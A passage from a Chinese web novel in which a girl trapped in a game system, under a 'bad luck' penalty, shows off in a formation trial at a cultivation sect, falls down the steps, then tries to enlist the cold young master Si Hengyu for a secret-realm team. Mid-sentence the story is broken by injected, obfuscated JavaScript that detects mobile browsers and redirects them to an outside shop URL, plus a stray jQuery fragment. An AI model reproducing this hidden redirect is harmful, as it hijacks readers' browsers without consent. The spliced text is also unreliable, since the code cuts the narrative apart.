商渡晚对着司衡宇撇了撇嘴,扫视了一圈点头的弟子,接着转头对杨松立低声说:“六师兄,我是你最疼爱的小师妹吗?”
杨松立直觉有诈,警惕地看着她:“为何如此发问?”
“六师兄这么为我打抱不平,这么关心我,要不你帮我出这口恶气吧。”
杨松立尴尬地笑了笑,拜了拜手:“师妹说这些,我这三脚猫的阵法水平,在你这里根本不够看。你上那是泰山压卵,而我不过略胜一筹。我上可打击不了司衡宇,不能帮师妹你出这口恶气,所以还是师妹来吧。”
木长老这时开口道:“下一个……”
练武场上的窃窃私语随着这三个字的出现,立马停止,整齐划一地低下头。
毕竟,木长老的阵法课程立马的刀剑不会真正的伤害他们,但是疼的也是真的疼,水平不过关的话的弟子上台,在台上被攻击的四处乱窜,丑态百出也是时有发生的事。毕竟在台上如何无遮挡,找不出阵眼,就只能困在里面接受刀剑,到最后累也会累得抬不起剑。
木长老瞧着都躲着她目光的弟子,有些无奈,一双明亮的眼睛便开口看向其中一个人:“商渡晚你上前来。”
众人如释重负,暗自窃喜地瞧着商渡晚。
而被点名的商渡晚被吓了一跳立刻抬头,弱弱地举手:“长老……我腿脚不便。”
“无碍。”
木长老朝着商渡晚一指,就见她双脚围绕着灵力,那灵力往双脚蹿入,商渡晚只觉得双脚如同寒夜里升起火苗般,温暖又舒服。
木长老含笑道:“你且站起来试试。”
商渡晚试探地站起来,然后见木长老带着慈爱的微笑做了个请的手势,没办法商渡晚只能硬着头皮视死如归地走上前。
“我知你擅长结界术,所以这次将是方才的五倍难度。”
木长老一说完,商渡晚就被灵力包围住,同样的灵力剑密集的飞来,她抬手第一时间给自己渡了层防护盾,然后对着正面袭来的灵力剑一指,后者蓦然停止,掀起一阵风浪,引得她发丝飞舞,衣袂蹁跹。
她面色如常,脚尖点地,衣袍随着转圈而飞扬,四两拨千斤,她在原地转了一圈,指尖的那道灵力剑被猛然甩了出去,打在灵力罩的边缘,砰的一声所有朝她飞去的灵力剑骤然如镜般破碎。
商渡晚脚尖落地,还是有些惊魂未定,整个练武场安静了许久,接着不知谁起的头爆发出雷鸣般的掌声。
“太厉害了!不过一弹指的功夫就破解了?”
“师妹!你真行!你的灵力好似比以为更强了,木长老可是说了这次比那少主还困难呢。”
“啧!果然没有对比就没有伤害。”
“师姐!你就是吾辈之楷模!我好崇拜你!”
……
听着一阵阵欢呼声、赞美声,看着一阵张张张惊叹的脸,商渡晚渐渐迷失了自我,面带笑意对着满场的弟子毫不客气地挥了挥手。
接着视线扫过司衡宇,她微勾起唇,挑衅地仰起头挑了挑眉,接着对着他漫不经心的双手一摊,耸了耸肩。
没办法就是这么厉害,就是这么优秀。
司衡宇眼皮纸条:“……”
杨松立抬手欢呼:“师妹就是这样挑衅他!”
商渡晚边挑衅地看着司衡宇,把落于胸前的发丝往后一撩,昂首挺胸地走下台,在下最后一阶台阶时,忽然脚下踩空,心里暗叫不好,接着连哼都没哼一声,在四面八方而来的赞扬中,在如雷贯耳的掌声中,以头抢地之态滑下阶梯,摔在了地上,众人惊呼,掌声瞬间戛然而止。
练武场一片死寂——
司衡宇:“……”
商渡晚:“……”
杨松立:“……”
木长老:“……”
全场弟子:“……”
丢人!太丢人了!这该死的系统什么时候才能把这厄运缠身的惩罚给取消掉?她要告到中央,告到联合国去!等她出了这里,她一定把那什么灯集团给告到法庭!!
至此,她终于对那人的经历有些感同身受了——
三个月前在新闻上,有个在阎罗殿逛了一圈的人,把星灯集团有限公司告上了法庭。
他给的理由在网上炸开了锅——
他说,他被困在了星灯集团旗下的一款游戏里,在游戏里他做了一个小太监,穿过去的时候正好赶上自宫,他叫天天不应叫地地不灵,有人手起刀落,便觉下身一空,然后疼的他死去活来。每天的日子不是给这个人跪,就是给那人磕头,完全丧失了人权。
此话一出,瞬间掀起一阵热议,一度占得娱乐热搜前列。网友们也争先恐后的讲述自己遇到的类似怪异事件,说得极其真实。
结果有网友爆料,此人有精神疾病,网上还是有绝大部分人纯属凑凑热闹听个乐子,也没当回事。
她常混迹于各大小说平台,对此虽然也不信,但在当时还是有中二的想法觉得那人肯定是天选之子。
刚来这里,她还觉得自己是天选之女……去你的天选之女,霉运之女吧!
事实证明,心态这种东西不是她想稳就可以稳住的,人生无常,破防才是常态,还是别早立flag,以免打脸。
似乎是同情,系统也开口了——
【玩家好感值达20便可便可自动取消惩罚“厄运缠身”,当前好感值0。玩家再接再厉噢!】
商渡晚不想面对,心中流泪,好想躺在地上一睡不醒。
至于众弟子如何把她手麻脚乱地扶了起来,以及司衡宇那似笑非笑地模样,她已经不想再回忆了。
商渡晚微红脸坐于轮椅上,手肘撑在扶手上,微低头用手扶额,挡住四面八方而来的视线,听着身后的人喋喋不休。
“师妹,没关系的,你看看现在也没人偷笑你啊。”杨松立推着一直埋头的商渡晚行走,试图忍着笑意安慰道。
商渡晚闷闷地说:“说这话之前,你手别抖,我感觉得到。”
轮椅渡了她的灵力,稍微一下动静都可以感觉得到,商渡晚不用回头也知道,杨松立现在必然憋笑憋得很辛苦。
话音刚落,一位女子面带笑意仰面走来:“师妹,师姐刚才帮你卜了一卦,你最近水逆得紧,走在路上可要多加小心点啊。”
商渡晚苦笑:“……”厄运缠身,能不水逆吗?
杨松立咳了一声:“大师姐,我好不容易把她劝得不像鹌鹑一样捂着脸,你这样等下小师妹不理我了。”
与她谈笑了几句,目送走那位大师姐,他们已经来到了饭堂。
“师妹,木长老说下午去秘境最多三人组队,每次结界术修炼都会有颇多弟子想要与你组队,除了我和你,还有一人你要找谁。”
商渡晚刚想说随便,就看见身着黑衣,身姿卓越的司衡宇端着一道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093272|195531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
菜,独自一人缓缓走到偏僻处坐下。
商渡晚顿时一笑,朝着司衡宇扬起下巴,:“找他。”
她自轮椅上站起来,抬手抚平有些褶皱的衣裙,迈出一步就听见身后如同见鬼的声音。
“你可以站起来?”杨松立双眼瞪大。
“陈长老的灵丹妙药也不是摆设,我也没说我不能站。有轮椅坐干嘛自己走呢?”商渡晚遗憾地微颔首又转身走进饭堂。
“……”杨松立愣在原地,反应过来一脸悲伤地喊,“我与你何其深的情谊,你竟然利用我!”
商渡晚朝后拜了拜手,便踏入了饭堂。
饭堂里热闹非凡,嘈杂一片,多为两三人一起有说有笑,结伴而行,司衡宇神情淡然仿佛置身于外,周身散发出拒人千里的冷漠气息。
他那一双桃花眼冷漠地垂着,骨骼分明的手指拿着筷子夹起饭菜,慢条斯理地放入嘴里,仿佛周围的一动一静,外界一切声响都与他无关,显得那么的格格不入。
耳边传来清脆灵动的声音:“少主,一个人吃饭呐。”
司衡宇置若罔闻,眼皮也不抬,继续夹菜吃。
“对别人的询问充耳不闻,很没有礼貌诶。”
司衡宇掀起眼皮,轻蔑地看着面带微笑的商渡晚,揶揄道:“少小姐应知在下为客,一直以来却毫无待客之道,这又是何理?”
“毫无教养。”少女毫无负担的接话,又抬手把手里的几道菜放于桌上,真诚地看着司衡宇:“我为我以前鲁莽的行为道歉,不好意思啊司衡宇。”
司衡宇手上的动作顿了顿,狐疑地抬眸,似乎不敢相信自己的耳朵,一抬头就对上那双澄澈灵动又微微带笑的凤眼。
其实这人长得极其好看的,不笑时像松山白雪中的雪莲般清冷,一笑起来又似白雪融化汇成的小溪般潺潺轻柔。特别是当她那一双凤眼微微含笑注视着他人时,仿佛一春潭,让人极其难以挣脱。
最主要的是,这双明眸凤眼他好似见过。
司衡宇仿佛忽然回过神,收回筷子,有些懊恼地低眸,慌忙地避开视线。
“少小姐还是莫消遣司某。”
商渡晚诚恳地邀请:“怎么会是消遣呢?我可是真心实意的。那什么去秘境我还差一人,你和我一起怎么样?”
“司某不才,少小姐另请高明吧。”司衡宇从腰间拿出的一方丝帛,斯文的擦了擦嘴。
“或者我们比试比试,赢的人……”
司衡宇无意与她纠缠,于是出言打断:“少小姐,司某不比。”
商渡晚抓住机会,想要弄清楚过节的原因,于是问道:“为什么?”
谁知司衡宇抬眸看着她,轻启薄唇讥讽道:“我没有心。”
商渡晚反应过来后:“……”这是在记仇?
他端起菜盘,站起来:“……少小姐慢用,我就先走了。”
商渡晚这刚一坐下喝了一口汤,就见司衡宇站起身走了,她忙咽下嘴里的汤:“就不吃了?浪费粮食可耻啊。”
司衡宇垂帘瞥了眼商渡晚,然后大步走远与端着饭菜才赶到的杨松立擦身而过。
“怎么吃了闭门羹啊?”杨松立坐下喝了一口汤继续说,“看看!你一来人家饭菜都吃不了多少。”
“哪没吃多少,他不是在吃吗?”商渡晚浅浅一指,就见司衡宇在与他们这里的位置成对角线的偏僻角落再次落座。